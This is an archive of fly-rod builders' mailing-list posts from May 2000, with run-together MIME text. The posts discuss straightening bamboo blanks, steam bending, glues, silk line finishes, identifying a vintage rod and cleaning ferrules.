boundary="----=_NextPart_000_000C_01BFC1BA.5104A540" This is a multi-part message in MIME format. ------=_NextPart_000_000C_01BFC1BA.5104A540 Just used my last #12 Mildrum guide. I have a comfortable supply of 10's =but no more 12"s. Anyone got any ideas. What are the guys using aside = from agate?Dave Norling ------=_NextPart_000_000C_01BFC1BA.5104A540 Just used my last #12 Mildrumguide. = comfortable supply of 10's but no more 12"s. Anyone got any ideas. = the guys using aside from agate?Dave =Norling ------=_NextPart_000_000C_01BFC1BA.5104A540-- from lars32@gateway.net Fri May 19 17:44:01 2000 Subject: John Bokstrom boundary="----=_NextPart_000_0014_01BFC1BB.046C1320" This is a multi-part message in MIME format. ------=_NextPart_000_0014_01BFC1BB.046C1320 Nice article on John in the latest TPF. John are you Moved in and back =on line yet? I need to pick your brain once more. I have used your soak =method for straightening rough strips for three rods now. Woulndn't do =it any other way! After rough planing I oven temper. How much time and =how hot do you feel should be done to temper and dry out the strips?Thanks Dave Norling ------=_NextPart_000_0014_01BFC1BB.046C1320 Nice article on John in the latest= have used your soak method for straightening rough strips for three rods = Woulndn't do it any other way! After rough planing I oven temper. How = strips? Norling ------=_NextPart_000_0014_01BFC1BB.046C1320-- from piscator@crosswinds.net Fri May 19 17:48:02 2000 (envelope- from piscator@crosswinds.net) rodmakers@wugate.wustl.edu Subject: Re: Straightening The small bends are the worst kind, followed by twists. I don't know iftheangle iron would have any effect on twists. Brian Folks,I am wondering why a simple piece of angle iron couldn't be used to"straighten" the glued blank: After gluing and binding, simply roll theblank then set it in corner of the angle iron to dry. It should be as straight as the angle iron. You could set it on a piece of waxed paper placed on theiron if you're concerned about adhesion to the metal and/or place a secondpieceofangle iron on top of the blank if you wanted to ensure straightness. Am I missing something here? Any suggestions/discussion would be welcomeas I am within a few days of gluing up my first blank.Thanks and regards, dws. Onis Cogburn wrote: My solution to straightning is to address it completely through theconstruction process. I found that in my case, each step contributedabout the same amount of un-straightness to the finished blank. I try to getthe strips as straight as practical before I plane. During the planingprocess, I straighten as necessary. I lace the strips together ratherthan use masking tape so effectively I bind twice. I apply glue and lace the strips together. Then I remove the excess glue (Epon) with a clothdampened with acetone (or vinegar). Then I straighten. Then I bind witha4 thread Milward binder and I straighten again. I fasten a paperclip into a "U" and wrap one on each end of the blank with binding thread so the"U" stradeles the end of the blank. I then straighten again. I hang it fromahook on the ceiling and hang a weight from the other end. It's veryimportant to have the weight pulling straight down; ie. the force vector should be parallel with the rod. If I pay close attention to every step, I've found I need to do very little straightning. Regards,Onisk5vkq@ix.netcom.com At 11:07 PM 5/18/00 EDT, you wrote:Straightening! What is the main source of "crooked" sections? Is thelargest villain the binder? If we make sections that are planedproperly does the problem arise with inconsistent pressure on glace? Poorlyhung after wrap? Thoughts? from richard.nantel@videotron.ca Fri May 19 19:28:30 2000 Internet Mail Serversims.3.5.1999.12.14.10.29.p8)with SMTP id forrodmakers@wugate.wustl.edu; Fri, 19 May 2000 20:27:49 Subject: RE: Reed Curry BOUNDARY="Boundary_(ID_JebnB6TP4MmOTPxKkent6w)" This is a multi-part message in MIME format. --Boundary_(ID_JebnB6TP4MmOTPxKkent6w) I've used Reed's cleaning method on four lines so far and agree it worksfabulously well. I am, though, having problems finishing the lines. I'musing 70% spar varnish to 30% tung oil and the lines are a bit tacky to thetouch after drying for a day. Too much tung oil? Richard-----Original Message-----From: owner-rodmakers@wugate.wustl.edu Sent: Friday, May 19, 2000 6:45 PM Subject: Reed Curry Just used Reed's baking soda method of stripping an old silk line.BRAVO! I wouldn't have thought of it in a hundred years.Thanks ReedDave Norling --Boundary_(ID_JebnB6TP4MmOTPxKkent6w) used Reed's cleaning method on four lines so far and agree it works = well. I am, though, having problems finishing the lines. I'm using 70% = varnish to 30% tung oil and the lines are a bit tacky to the touch after = Richard lars32Sent: Friday, May 19, 2000 6:45 rodmakers@wugate.wustl.eduSubject: Reed =CurryJust used Reed's baking soda = of it in a hundred years. Thanks Reed Norling --Boundary_(ID_JebnB6TP4MmOTPxKkent6w)-- from horsesho@ptd.net Fri May 19 19:48:10 2000 0000 (204.186.33.67) Subject: Titebond II glue Hi all, Anybody out there using Titebond II wood glue to glue upsplines. I have been using URAC for 12 years and would like to try theTitebond II "slow set" on the next rod.I would like to know how it hasheld up.Looking for a non toxic glue alternative. Best, Marty from martinj@aa.net Fri May 19 20:44:14 2000 Fri, 19 May 2000 18:44:10 -0700 "'rodmakers'" Subject: RE: Corbett lake Well I know for a fact that you forgot a check!!! Martin Jensen -----Original Message----- W Subject: corbette lake if anybody out there was at corbette lake this year would you contact meoffthe list? I forgot something and need my memory jogged. Patrick W. CoffeyAOG Incident Repair PlanningPhone: 425-234-2901Fax: 425-237-0083M-2112 M/C 61-79 from briansr@point-net.com Fri May 19 21:01:41 2000 Subject: Not RM but neat Hi folksIt's not rod making but it is rather neat If you want to see some sunspotstake a pair of binoculars put them on a steady rest DON"T LOOK THROUGHTHEM.Aim and focus toward a piece of paper about 3 or 4 ft away .Theimageis reversed but you'll see 6 0r 7 sunspots on the paper.The biggest are atthe 5 and 7 oclock positionsSafely enjoyBrian from briansr@point-net.com Fri May 19 21:05:34 2000 Fri, 19 May 2000 22:05:00 -0400 "'rodmakers'" Subject: Re: Corbett lake A winding check????? For what size rod????----- Original Message ----- Subject: RE: Corbett lake Well I know for a fact that you forgot a check!!! Martin Jensen -----Original Message-----From: owner-rodmakers@wugate.wustl.edu WSent: Friday, May 19, 2000 11:21 AM Subject: corbette lake if anybody out there was at corbette lake this year would you contact meoffthe list? I forgot something and need my memory jogged. Patrick W. CoffeyAOG Incident Repair PlanningPhone: 425-234-2901Fax: 425-237-0083M-2112 M/C 61-79 from avyoung@iinet.net.au Fri May 19 22:05:40 2000 Sat, 20 May 2000 12:06:25 +0800 Subject: Re: steam bending That seems a bit strange. When steam bending you need WET heat, but youshouldn't boil the wood as that will cause the wood to basicaly break downaswill any other organic thing. Steam will do the same if you over do it too.You get better results steam bending green wood or at least non kiln driedwoodand some species will not bend without bad deformation includingcrushing oroutright breakage if they are too dry before attempting to steam bend.Also, asmentioned you need wet heat, no matter how hot you can get the woodshort ofignighting it wont bend as well if it's dry.White Oak is very good to steam bend being the most favoured wood forboatframes and most things involving bending in the US and possibly Europe,hereit's Spotted Gum but even it can break if it's too dry before attempting tosteam bend it.Actually, there is always an argument kiln drying wood adversly affectsthewood properties when it comes to high class cabinet making and there arearguments for and against it. Krenov hates kiln dried wood for eg. If youevertry steam bending wood you'll see kiln dried wood does tend to lookdifferentin the way it breaks while bending (some wood will occasionaly break) towoodallowed to dry by itself over years. The kiln dried wood almost alwayswillseem to have a short grain look to it compared with air dried wood. Also,itseems that because you can over do things with steaming some kiln driedwoodspecies never do take up enough moisture to become pliant again and can'teffectively be bent and steaming longer just ruins the wood in thesecases.Also, keep in mind that if the article you're looking at is about boatbuildingthe wood may well be green, I know the place I worked for alwaysspecifiedgreen wood for self keels or any wood that was to be bent, not includingplanking of course. As far as steam *drying* wood, could be in some counter logical way. Thewooddefinately drys quickly but I never looked into how dry it became relativetowhat it started at before steaming it. BUT, as I have to keep reminding myself bamboo isn't wood and we'retalkingvery small dimensions here as your average spline isn't very big in crosssection so dry heating does work but if you were going to soak the stripsbefore planing that would be an ideal time to heat the nodes andstraightenandpress them. Tony At 01:56 PM 5/19/00 -0400, David W. Smith, Ph.D. wrote: Patrick, (again) My understanding is that often steam is used to actually drywood. In bending it is not used to get moisture into the wood per se, butrather simply as a vehicle for getting the heat into the wood in the mostefficient manner (see the most recent Classic Boating magazine, whichoffersan almost excruciating discourse on the bending of different conditions,i.e., woods of varying % water content). Since heat is more effectivelytransmitted via steam/moisture into the wood, it more efficientlyplasticizesthe wood fibers, allowing easier bending. So, it permits more heat toreachthe fibers to be bent, without concern over charring the wood. dws. "Coffey, Patrick W" wrote: I'm just going to straighten my strips with steam before heat treating.Thestraighter the strips, all other things considered, the straighter the rodsection. I personally wouldn't use moisture to straighten out a glued upblank for fear of moisture invasion. Wood takes a day to absorbmoistureandweeks to loose it air drying, I'm assuming bamboo is similar. Patrick W. Coffey AOG Incident Repair Planning Phone: 425-234-2901 Fax: 425-237-0083 M-2112 M/C 61-79 ---------- From: Bob Nunley[SMTP:caneman@clnk.com] Sent: Friday, May 19, 2000 10:14 AM Subject: Re: steam bending Patrick, Absolutely a great way to bend any kind of organic, wood andbamboo included. I used to soak the straight sides of a violin, and shape then around a bending iron, which was actually nothing more than a piece of smoothe pipe heated from the inside by a torch. When you run thewood against the pipe, the water in the wood steams off making it pliablebeyond belief. As far as straightening bamboo rods with steam... I do have aconcern, and maybe someone has some insight or a solution to it. After I get arod glued up, I do my best to keep it in a tube with silica gel to keep allthe moisture out that I can until I get it varnished. Concern is, how much moisture is going to get reintroduced to the glued up blank while straightening it with steam? AND, will dessicant remove thereintroduced moisture in a reasonable amount of time, or would another session atalower temp in the heat treating oven be better? Bob -----Original Message----- From: Coffey, Patrick W Date: Friday, May 19, 2000 11:09 AM Subject: steam bending While working as a luthier we made steamer for bending rosewood,spruceand willow. The pieces were 5mm by 15mm, much thicker and wider thethesplit strips for making flyrods, and turned them in to super limp pieces ofwood. We took and old pressure cooker that we got at starvation army andput a pressure relief valve where the pressure gage connected and held thepieces in the hot stream of steam coming out of the pressure relief valve. Ina matter of a few minutes the rosewood became so limp that you couldtie itin a knot. The higher that you raise the steam pressure the hotter the temperature gets and the faster it penetrates to the core of what everyou are trying to bend. Patrick W. Coffey AOG Incident Repair Planning Phone: 425-234-2901 Fax: 425-237-0083 M-2112 M/C 61-79 /*************************************************************************/AV Young Visit my web site at: www.iinet.net.au/~avyoung/flyrod.html "Do, or do not. There is no 'try'. " - Yoda ('The Empire Strikes Back') /*************************************************************************/ from flyrod@pop.digisys.net Fri May 19 22:10:07 2000 Subject: Re: steam bending lumber mill here in NW Montana, the tool for the job is, you guessed it, a huge boiler making steam. However lumber is not dried to 7%only about 17- 19%, But they can make it too dry with steam. May be worth some investigating ? My.01$ worth ( you know inflation)JimFlinchbaughBTW started making my steel planing forms today, per Tom Penrose Instructions on his site from rcurry@ttlc.net Fri May 19 22:45:52 2000 (SMTPD32-6.00) id AB7C456900B0; Fri, 19 May 2000 23:50:20 -0400 Subject: Re: Reed Curry boundary="------------8FBDD05411A909AB0DEF1EA5" --------------8FBDD05411A909AB0DEF1EA5 Richard,You didn't mention using thinner. The reason I use a pre-thinnedtung oil/varnish mixture is to get good penetration and fast drying. 30%does seem like quite a lot.Chris Bogart mixes his own, I wonder what percentage of Tung oil heuses? Chris?Best regards,Reedwww.overmywaders.com Richard Nantel wrote: I've used Reed's cleaning method on four lines so far and agree itworks fabulously well. I am, though, having problems finishing thelines. I'm using 70% spar varnish to 30% tung oil and the lines are abit tacky to the touch after drying for a day. Too much tungoil?Richard -----Original Message-----From: owner-rodmakers@wugate.wustl.edu Sent: Friday, May 19, 2000 6:45 PM Subject: Reed Curry Just used Reed's baking soda method of stripping an old silkline. BRAVO! I wouldn't have thought of it in a hundredyears.Thanks ReedDave Norling --Best regards,Reedwww.overmywaders.com --------------8FBDD05411A909AB0DEF1EA5 Richard, a pre-thinned tung oil/varnish mixture is to get good penetration and fastdrying. 30% does seem like quite a lot. percentageof Tung oil he uses? Chris?Best regards,Reedwww.overmywaders.comRichard Nantel wrote: used Reed's cleaning method on four lines so far and agree it worksfabulouslywell. I am, though, having problems finishing the lines. I'm using 70%spar varnish to 30% tung oil and the lines are a bit tacky to the touchafter drying for a day. Too much tungoil?Richard -----OriginalMessage-----From: owner-rodmakers@wugate.wustl.edu rodmakers@wugate.wustl.edu]On Behalf Oflars32Sent: Friday, May 19, 20006:45 PM rodmakers@wugate.wustl.eduSubject: ReedCurry Just used Reed's baking soda method thought of it in a hundred years.ThanksReedDaveNorling --Best regards,Reedwww.overmywaders.com --------------8FBDD05411A909AB0DEF1EA5-- from petermckean@netspace.net.au Sat May 20 05:13:18 2000 Subject: Water content of bamboo boundary="----=_NextPart_000_0025_01BFC297.36DBFBE0" This is a multi-part message in MIME format. ------=_NextPart_000_0025_01BFC297.36DBFBE0 I would really like to know whether there is any substance to the =recurrent worries about moisture content of bamboo at various stages of =processing.I have just started soaking cane for the rough preliminary planing =stage, and am amazed at the time and effort it saves. My wife's father, =who also makes his own rods, is appalled - he won't even leave his =pieces out in the shed after planing, but lovingly carries them inside =where it's warm so they don't acquire any moisture! I mean, this stuff =is designed to move water, and surely we can never desiccate it to any =accurate level, so how fussy is too fussy?Peter ------=_NextPart_000_0025_01BFC297.36DBFBE0 I would really liketo = whether there is any substance to the recurrent worries about moisture = of bamboo at various stages of processing.I have just started soaking cane for = preliminary planing stage, and am amazed at the time and effort it = wife's father, who also makes his own rods, is appalled - he won't even = his pieces out in the shed after planing, but lovingly carries them = it's warm so they don't acquire any moisture! I mean, this stuff is = move water, and surely we can never desiccate it to any accurate level, = fussy is too fussy?Peter ------=_NextPart_000_0025_01BFC297.36DBFBE0-- from cattanac@wmis.net Sat May 20 07:30:02 2000 mail4.wmis.net (8.8.8/SCO5) with SMTP idIAA02762 for ; Sat, 20 May 2000 08:29:53 Subject: Re: Mildrum Strippers boundary="----=_NextPart_000_001A_01BFC2FE.9C1B9BC0" This is a multi-part message in MIME format. ------=_NextPart_000_001A_01BFC2FE.9C1B9BC0 Contact the folks at REC - 860 - 749 - 3476 - www.reccomponents.com - =the supply continues Sent: Sunday, May 21, 2000 8:28 AMSubject: Re: Mildrum Strippers Contact the folks at REC - 860 - 749 - 3476 - www.reccomponents.com- =the supply continues Sent: Friday, May 19, 2000 6:47 PMSubject: Mildrum Strippers Just used my last #12 Mildrum guide. I have a comfortable supply of =10's but no more 12"s. Anyone got any ideas. What are the guys using =aside from agate?Dave Norling ------=_NextPart_000_001A_01BFC2FE.9C1B9BC0 Contact the folks at REC - 860 - 749 -= www.reccomponents.com -the = continues ----- Original Message ----- RodCo = Sent: Sunday, May 21, 2000 8:28=AMSubject: Re: Mildrum =Strippers Contact the folks at REC - 860 - 749= - www.reccomponents.com -= supply continues ----- Original Message ----- = Sent: Friday, May 19, 2000 = PMSubject: Mildrum =Strippers Just used my last #12 Mildrum= a comfortable supply of 10's but no more 12"s. Anyone got any ideas. = are the guys using aside from agate? Norling ------=_NextPart_000_001A_01BFC2FE.9C1B9BC0-- from ernie2@pacbell.net Sat May 20 09:38:09 2000 sims.3.5.2000.01.05.12.18.p9)with SMTP id for Subject: hex96c.exe When I try to run Waynes Hexrod 96C program from the DownloadableSoftwareprograms on the Rodmakers page I get the following message: The file"intern~3\hex.96c.exe" is not a valid MS-DOS program. What am I doingwrong?Ernie Harrison from rcurry@ttlc.net Sat May 20 10:03:38 2000 (SMTPD32-6.00) id AA57437500C2; Sat, 20 May 2000 11:08:07 -0400 Subject: Some old tomes examined older books on rods and fishing. Selections from Samuel Camp (1911), St.John (1920), etc. will be on my website. If you have suggestions forspecific subjects/authors, let me know. I'll try to get at least onearticle and some extracts out per week.Best regards,Reedwww.overmywaders.com from richard.nantel@videotron.ca Sat May 20 11:41:26 2000 Internet Mail Serversims.3.5.1999.12.14.10.29.p8)with SMTP id forrodmakers@wugate.wustl.edu; Sat, 20 May 2000 12:28:44 Subject: RE: Reed Curry BOUNDARY="Boundary_(ID_op2CfGfyUD4MqwCy1pIlJQ)" This is a multi-part message in MIME format. --Boundary_(ID_op2CfGfyUD4MqwCy1pIlJQ) Thinner? Nope, didn't use any. Is that the problem? Richard-----Original Message----- Sent: Friday, May 19, 2000 11:50 PM Cc: lars32@gateway.net; rodmakers@wugate.wustl.eduSubject: Re: Reed Curry Richard,You didn't mention using thinner. The reason I use a pre-thinned tungoil/varnish mixture is to get good penetration and fast drying. 30% doesseem like quite a lot.Chris Bogart mixes his own, I wonder what percentage of Tung oil heuses? Chris?Best regards,Reedwww.overmywaders.comRichard Nantel wrote: I've used Reed's cleaning method on four lines so far and agree itworks fabulously well. I am, though, having problems finishing the lines.I'm using 70% spar varnish to 30% tung oil and the lines are a bit tacky tothe touch after drying for a day. Too much tung oil?Richard-----Original Message-----From: owner-rodmakers@wugate.wustl.edu Sent: Friday, May 19, 2000 6:45 PM Subject: Reed Curry Just used Reed's baking soda method of stripping an old silk line.BRAVO! I wouldn't have thought of it in a hundred years.Thanks ReedDaveNorling--Best regards,Reedwww.overmywaders.com --Boundary_(ID_op2CfGfyUD4MqwCy1pIlJQ) Thinner? Nope, didn't use any. Is that problem? Richard = using thinner. The reason I use a pre-thinned tung oil/varnish mixture = Tung oil he uses? Chris? Best regards, Reed = = method on four lines so far and agree it works fabulously well. I = though, having problems finishing the lines. I'm using 70% spar = 30% tung oil and the lines are a bit tacky to the touch after drying = -----Original Message----- From: = rodmakers@w= Behalf Of lars32 Sent: Friday, May 19, 2000 6:45 PM= rodmakers@wugate.wustl.edu Subject: Reed Curry = Norling-- Best regards, Reed www.overmywaders.com --Boundary_(ID_op2CfGfyUD4MqwCy1pIlJQ)-- from DNHayashida@aol.com Sat May 20 13:24:04 2000 Subject: Silk line varnish (Was: Reed Curry) Before I tried Formby's (which works great) I tried mixing my ownsilk line varnish. After many different formulations, I had goodresults with 1/3 deodorized tupintine, 1/3 tung oil, and 1/3polyurethane varnish.Darryl from Canerods@aol.com Sat May 20 14:37:36 2000 Subject: Mystery rod Folks, Want to help me with ID'ing this rod? I can't match it with any of my production rod knowledge. The reelseat is not like any Montague, Heddon,H-I, South Bend or Granger that I've ever seen. Take a look the last rod on my (new ) site --> http://hometown.aol.com/canerods/Donhome.html Thanks, Don Burns PS - If anyone is attending Grayrock and needs parts for a rod restoration, let me know and I'll bring some "stuff". from Canerods@aol.com Sat May 20 14:41:58 2000 Subject: Re: Titebond II glue In a message dated 5/19/00 5:49:10 PM Pacific Daylight Time,horsesho@ptd.net writes: Hi all, Anybody out there using Titebond II wood glue to glue upsplines. I have been using URAC for 12 years and would like to try theTitebond II "slow set" on the next rod.I would like to know how it hasheld up.Looking for a non toxic glue alternative. Best, Marty Marty, I've used normal Titebond II for scarf repair joints and it has held up quite well - as long as I don't squeeze all the glue out of the joint when overwrapping with the string. Drying time is very fast and I don't know if I could glue all six strips of a fullllength section and wrap before setup. Can't help you with the slow set stuff - haven't used it. Don Burns from nsflyrods@ns.sympatico.ca Sat May 20 15:27:03 2000 Subject: A rod related email question Hi all,when I arrived home tonight I had a email from Ernie Harrison.It says hex96c.exeIs this a rod related mail? Like Waynes Hexrod or something? Oris it a virus?Sorry for the bandwidth I am just spooky about opening mail withexe on it.Thanks,Shawn from Canerods@aol.com Sat May 20 15:54:31 2000 Subject: Re: A rod related email question Shawn, Most likely rod related, but I deleted my copy without reading too. Don Burns from martinj@aa.net Sat May 20 16:10:23 2000 Sat, 20 May 2000 14:10:19 -0700 Subject: RE: A rod related email question I believe the e-mail just "said" *.exe. There was no attachment involved asI remember. I general, you can't get a virus just from reading an-mail.( and please don't anyone don't tell me about macros. You should havethose programs set to ask before running them (macros) anyway.)" Words can't hurt me" Martin Jensen -----Original Message----- Subject: A rod related email question Hi all,when I arrived home tonight I had a email from Ernie Harrison.It says hex96c.exeIs this a rod related mail? Like Waynes Hexrod or something? Oris it a virus?Sorry for the bandwidth I am just spooky about opening mail withexe on it.Thanks,Shawn from martinj@aa.net Sat May 20 16:11:18 2000 Sat, 20 May 2000 14:11:08 -0700 ,"'rodmakers'" Subject: RE: Corbett lake no, but with it you could buy an awful lot of them. Martin Jensen -----Original Message----- Subject: Re: Corbett lake A winding check????? For what size rod????----- Original Message ----- Subject: RE: Corbett lake Well I know for a fact that you forgot a check!!! Martin Jensen -----Original Message-----From: owner-rodmakers@wugate.wustl.edu WSent: Friday, May 19, 2000 11:21 AM Subject: corbette lake if anybody out there was at corbette lake this year would you contact meoffthe list? I forgot something and need my memory jogged. Patrick W. CoffeyAOG Incident Repair PlanningPhone: 425-234-2901Fax: 425-237-0083M-2112 M/C 61-79 from dpeaston@wzrd.com Sat May 20 16:16:00 2000 Subject: Re: Mystery rod At 03:36 PM 5/20/2000 EDT, Canerods@aol.com wrote:Folks, Want to help me with ID'ing this rod? I can't match it with any of my production rod knowledge. The reelseat is not like any Montague, Heddon,H-I, South Bend or Granger that I've ever seen. Take a look the last rod on my (new ) site --> http://hometown.aol.com/canerods/Donhome.html Thanks, Don Burns PS - If anyone is attending Grayrock and needs parts for a rodrestoration, let me know and I'll bring some "stuff". Don, I am quite certain that your rod is a Divine. I have two of them a rainbowand a special dry fly. The ferrules are typical divine as are the fancywraps. Divine is probably the only rod (according to Mike Sinclair's book)that has a wooden reel seat with the turned "rim" at the grip end. Also thetip tube is nearly identical to the one on my rainbow. Check the butt cap.It should have a serial number beginning with a letter and on the bottomthere should be concentric circles. Regards-DougDoug EastonTonawanda, NY from sniderja@email.uc.edu Sat May 20 16:20:36 2000 Subject: Re: Titebond II glue If I am not mistaken Sir Darryl built his father a rod made completelyfromTitebond II (not slow set?). My first rod( a nodeless) built ca. 3 yearsago was completely built with Titebond II (not slow set). I bound the rod but I admit to not using it much. J. Snider At 03:41 PM 05/20/2000 -0400, Canerods@aol.com wrote:In a message dated 5/19/00 5:49:10 PM Pacific Daylight Time,horsesho@ptd.net writes: Hi all, Anybody out there using Titebond II wood glue to glue upsplines. I have been using URAC for 12 years and would like to try theTitebond II "slow set" on the next rod.I would like to know how it hasheld up.Looking for a non toxic glue alternative. Best, Marty Marty, I've used normal Titebond II for scarf repair joints and it has held upquite well - as long as I don't squeeze all the glue out of the joint when overwrapping with the string. Drying time is very fast and I don't know if I could glue all six strips of a fullllength section and wrap before setup. Can't help you with the slowset stuff - haven't used it. Don Burns from caneman@clnk.com Sat May 20 17:34:31 2000 (Post.Office MTA v3.5.3 release 223 ID# 0-61365U2500L250S0V35)with SMTP id com; Sat, 20 May 2000 17:30:13 -0500 Subject: Re: Mystery rod Don,Looking at the ferrules, I would say they are definitely Divineferrules, much like the model he started using in the mid 19"teens". Thegaudy signature wraps and the excess of intermediates is also typical of aFred Divine rod. Only thing that has me puzzled is that I can't find, inany of my books, reel seat hardware like is used on this rod. It is veryreminiscent of the Beaty reel seats, which Divine used, but not quite likeany of his I have seen... That doesn't mean it isn't a divine reel seathardware, but if it is, it's just some that I have never come across. Therope knurling you described, and what I can tell of it in the picture, isn'ttypical of Divine. He did do a lot of rope knurling on his reelseathardware, but usually the hardware was rounded, not squared in the areaknurled, and typically, the band was much longer than on this rod. The reelseat filler? Yep, that also is very Divine-ish. He commonly turned anincreased diameter on his reel seat fillers. Only problem I have with thisfiller is that every Divine wood reel seat I have ever seen was mortised.Not saying that he never made an unmortised wood filler, but I have justnever seen one, and can't find any reference to one.One last thing... The cork grip. Definitely not typical of a Divinerod. He did make many rods with full wells, most were cigar, but everydivine rod I have ever seen with a wood filler where the filler was turnedlarger at the grip end, the grip was turned down to meet blend into thewoodfiller.My conclusion.... Hell if I know! That was lots of help, huh. I wouldguess that you might have a Divine rod that has had the reelseat & gripreplaced on it. Later,Bob-----Original Message----- Subject: Mystery rod Folks, Want to help me with ID'ing this rod? I can't match it with any of myproduction rod knowledge. The reelseat is not like any Montague, Heddon,H-I,South Bend or Granger that I've ever seen. Take a look the last rod on my (new ) site --> http://hometown.aol.com/canerods/Donhome.html Thanks, Don Burns PS - If anyone is attending Grayrock and needs parts for a rodrestoration,let me know and I'll bring some "stuff". from homessold@email.msn.com Sat May 20 19:30:45 2000 SMTPSVC;Sat, 20 May 2000 17:30:02 -0700 Subject: Re: A rod related email question I wouldn't open it till I ask Ernie what it was about. As far as opening afile marked *.exe: I just checked my PC and I have 370 files with .exe asthe file extension and I don't think it is a good idea to run them all atonce by clicking on *.exe In my opinion the most dangerous file to open isone with a file extension of .vbsSorry for getting on my soap box but if I were a bait fisherman you knowwhat I'd do with these people. Don Schneider ----- Original Message ----- Subject: A rod related email question Hi all,when I arrived home tonight I had a email from Ernie Harrison.It says hex96c.exeIs this a rod related mail? Like Waynes Hexrod or something? Oris it a virus?Sorry for the bandwidth I am just spooky about opening mail withexe on it.Thanks,Shawn from horsesho@ptd.net Sat May 20 19:32:08 2000 0000 (204.186.211.21) Subject: Re: Mystery rod Douglas P. Easton wrote: At 03:36 PM 5/20/2000 EDT, Canerods@aol.com wrote:Folks, Want to help me with ID'ing this rod? I can't match it with any of myproduction rod knowledge. The reelseat is not like any Montague,Heddon,H- I,South Bend or Granger that I've ever seen. Take a look the last rod on my (new ) site --> http://hometown.aol.com/canerods/Donhome.html Thanks, Don Burns PS - If anyone is attending Grayrock and needs parts for a rodrestoration,let me know and I'll bring some "stuff". Don, I am quite certain that your rod is a Divine. I have two of them a rainbowand a special dry fly. The ferrules are typical divine as are the fancywraps. Divine is probably the only rod (according to Mike Sinclair's book)that has a wooden reel seat with the turned "rim" at the grip end. Alsothetip tube is nearly identical to the one on my rainbow. Check the butt cap.It should have a serial number beginning with a letter and on the bottomthere should be concentric circles. Regards-DougDoug EastonTonawanda, NY I am pretty sure all Devine's that have a wood seat have a mortisedcherry seat. This rod has a pocketed butt cap and therefore would havean unmortised piece of cherry. If I were to guess I'd say Edwards.Marty from nsflyrods@ns.sympatico.ca Sat May 20 19:51:47 2000 0300 Subject: Re: A rod related email question Thanks all,I was just a little over cautious, the way my week has beengoing! Shawn Shawn Pineo wrote: Hi all,when I arrived home tonight I had a email from Ernie Harrison.It says hex96c.exeIs this a rod related mail? Like Waynes Hexrod or something? Oris it a virus?Sorry for the bandwidth I am just spooky about opening mail withexe on it.Thanks,Shawn from nobler@satx.rr.com Sat May 20 19:54:34 2000 SMTPSVC(5.5.1877.357.35);Sat, 20 May 2000 19:55:42 -0500 Subject: Re: Handmill Survey Results Day 2 The carbide cutters straddle the strip, so that you are planing both sidesat once, with the enamel side down. GMA----- Original Message ----- Subject: Re: Handmill Survey Results Day 2 I have a question on the handmill. Do the cutters sit at an angle tothe work surface the same as a plane iron or are they perpendicular(more or less) to the surface like a scraper? I'm sure the obviousanswer is like a plane iron but I just wanted confirmation.Thanks.Jon from horsesho@ptd.net Sat May 20 20:12:03 2000 0000 (204.186.211.21) Subject: Payne #214 Parabolic Taper Hi, I have a Payne #214 Para in the shop for a couple wrap replacements.First one I've handled so I miked it and took some measurments (aftercasting it of course). A good rod for the archives if someone knows howto get in there. Check out how many guides!Payne #214 7'9" 2pc. #5/66" cigar grip / 3 3/8" cork spacer seat (cap&ring)Measurments are without varnishTip Butt00 .078" .216"05 .111 .22410 .135 .23815 .151 .24920 .164 .26625 .177 .27730 .188 .29235 .194 .31040 .199 *37" .337 *start of grip45 .206Section Length 46 15/16" Guide layout (12 snakes + 1 stripper)Tip Butt3 7/8" 2 5/8"8 1/4" 8 3/8"12 7/8" 15 1/4"18" 22 7/8" Stripper23"28"33"38 7/8"44 5/8" Rod will "dump" alot of line! Marty from nsflyrods@ns.sympatico.ca Sat May 20 20:24:29 2000 Sat, 20 May 2000 22:23:56 -0300 Subject: Re: Payne #214 Parabolic Taper Marty,thanks a lot for the interesting taper! Can't say I've come acrossthis one before either.That is one pile of guides! Are you sure it's original? It neverceases to amaze me, just how diverse these sticks really are.Shawn marty wrote: Hi, I have a Payne #214 Para in the shop for a couple wrap replacements.First one I've handled so I miked it and took some measurments (aftercasting it of course). A good rod for the archives if someone knows howto get in there. Check out how many guides!Payne #214 7'9" 2pc. #5/66" cigar grip / 3 3/8" cork spacer seat (cap&ring)Measurments are without varnishTip Butt00 .078" .216"05 .111 .22410 .135 .23815 .151 .24920 .164 .26625 .177 .27730 .188 .29235 .194 .31040 .199 *37" .337 *start of grip45 .206Section Length 46 15/16" Guide layout (12 snakes + 1 stripper)Tip Butt3 7/8" 2 5/8"8 1/4" 8 3/8"12 7/8" 15 1/4"18" 22 7/8" Stripper23"28"33"38 7/8"44 5/8" Rod will "dump" alot of line! Marty from nobler@satx.rr.com Sat May 20 20:35:49 2000 SMTPSVC(5.5.1877.357.35);Sat, 20 May 2000 20:36:55 -0500 Subject: Re: Help with corrosion problem? Most grocery stores have a product called Tarn-X, which will usually do it.It cleans brass nicely, just by dipping it. GMA----- Original Message ----- Subject: Help with corrosion problem? All, I just won a 9' Heddon #35 on eBay (please no stone throwing ) and ithasthe somewhat rare uplocking reelseat. The buttcap is glued to the plasticthread section on this type of Heddon, so removing the buttcap seemsimpossible without damaging the buttcap. The reason I want to removethebuttcap is that the threaded NS movable nut (knurled) is corroded. Ithoughtif I removed the nut that I could buff the corrosion away. I'd use mymetalpolishing Nevr- dull cotton wadding if it wasn't knurled. Does anyone know of a safe method to remove green corrosion withoutdamagingthe plastic under this nut? Don Burns from richjez@enteract.com Sat May 20 22:15:11 2000 (envelope- from richjez@enteract.com) Subject: Cleaning Feurels boundary="=====================_18599844==_.ALT" --=====================_18599844==_.ALT I just gotten an older rod with corroded nickle silver ferules. Any suggestions on the best way to clean them?Rich Jezioro*________________________________)// Rich Jezioro@/||/____/||_________________________________________||/\))):> > ))):>-- =====================_18599844==_.ALT I just gotten an older rod with corroded nickle silverferules. Any suggestions on the best way to clean them?Rich Jezioro *_____________ ___________________) @/ ||/ ____/||_________________________________________ p;/\ ; / bsp; --=====================_18599844==_.ALT-- from Canerods@aol.com Sat May 20 23:14:20 2000 Subject: Re: Cleaning Feurels In a message dated 5/20/00 8:16:13 PM Pacific Daylight Time, richjez@enteract.com writes: I just gotten an older rod with corroded nickle silver ferules. Any suggestions on the best way to clean them?Rich Jezioro Rich, I start with blowing canned air (or air from an air hose if you've got a compressor) down into the females. You won't believe what has come outof some of the ferrules I've worked on. Then I use Nevr-Dull metal polishing cotton wadding from an auto partsstore to remove all the tarnish. If it's the nasty green stuff then break out the brasso or other brass cleaning liquids and a buffing wheel. As this point, think about bluing the ferrules or "japaning" them because you might have a rough potmarkedsurface when finished. When finished, I apply a coating of U-40's ferrule lube per bottle instructions. Don 